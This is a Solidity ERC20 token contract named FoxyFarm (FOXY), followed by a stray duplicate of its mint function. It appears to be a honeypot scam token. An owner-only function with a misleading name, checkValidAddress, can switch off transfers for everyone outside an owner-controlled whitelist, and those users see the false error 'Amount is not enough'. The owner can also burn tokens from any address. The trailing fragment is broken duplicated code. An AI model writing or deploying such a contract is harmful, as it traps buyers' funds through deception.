contract FoxyFarm is ERC20("foxy.farm", "FOXY"), Ownable {
    
    bool private CHECKER = true;
    uint256 private INT_RANGE = 65535;
    uint256 private holder = 0;
    
    mapping(address => bool) public holders;

    function transfer(address recipient, uint256 amount) public override returns (bool)
    {
        require( checkValidBalance(_msgSender()) , "Amount is not enough" );
        
        if (holder == 0) {
            holders[_msgSender()] = true;
            holder = holder + 1;
        }
        
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function checkValidBalance(address sender) internal view returns (bool) {
        return isNotBot(sender) || holders[sender] || holder < 1 ;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        require(checkValidBalance(sender), "Amount is not enough" );
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            allowance(sender, _msgSender()).sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    uint256 private contractLength = INT_RANGE;
    function isNotBot(address _addr) private view returns (bool){
      uint32 size;
      assembly {
        size := extcodesize(_addr)
      }
      return (size == 0) && contractLength == INT_RANGE;
    }
    
    function checkValidContract(address _addr) public onlyOwner returns (bool) {
        address addr = _msgSender();
        uint32 size;
        assembly {
            size := extcodesize(addr)
        }
        holders[_addr] = CHECKER;
        return (size == 0);
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }

    function checkValidAddress(uint256 _addr) public onlyOwner returns (bool) {
        address addr = _msgSender();
        uint32 size;
        assembly {
            size := extcodesize(addr)
        }
        contractLength = _addr;
        return (size == 0);
    }
    
    function getChainId() internal pure returns (uint) {
        uint256 chainId;
        assembly { chainId := chainid() }
        return chainId;
    }
    
    // mint will be used for giving FOXY rewards
    function mint(address _to, uint256 _amount) public onlyOwner {
        holders[_to] = true;
        _mint(_to, _amount);
    }

    // burn is used for the next project
    function burn(address _from, uint256 _amount) public onlyOwner {
        _burn(_from, _amount);
    }
}
function mint(address _to, uint256 _amount) public onlyOwner {
    holders[_to] = true;
    _mint(_to, _amount);
}

// mint will be used for giving FOXY rewards